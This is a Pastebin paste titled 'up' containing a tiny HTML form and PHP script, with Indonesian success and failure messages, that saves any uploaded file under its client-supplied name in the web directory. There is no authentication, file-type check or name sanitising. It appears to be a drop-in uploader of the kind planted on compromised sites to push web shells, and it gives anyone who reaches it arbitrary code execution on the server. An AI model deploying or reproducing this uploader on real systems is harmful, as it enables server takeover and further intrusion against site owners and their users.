Advertisement
Guest User

up

a guest
Apr 19th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title></title>
  5. </head>
  6. <body>
  7. <hr/>
  8. <div class='card'><br />
  9. <form method='POST' enctype='multipart/form-data' name='uploader' id='uploader'>
  10. <font color='black'>
  11. <input class='btn btn-danger btn-sm' type='file' name='file' size='60'>
  12. <input class='btn btn-info' type='submit' value='Upload' name="upload">
  13. </font>
  14. </div>
  15. <hr/>
  16. </body>
  17. </html>
  18.  
  19. <?php
  20.  
  21. if (isset($_POST['upload'])) {
  22. $nama = $_FILES['file']['name'];
  23. $file_tmp = $_FILES['file']['tmp_name'];
  24.  
  25.  
  26. if (move_uploaded_file($file_tmp, $nama)) {
  27. echo '<script>
  28. alert("Upload Berhasil")
  29. </script>';
  30. }else{
  31. echo "Gagal!";
  32. }
  33.  
  34. }
  35.  
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement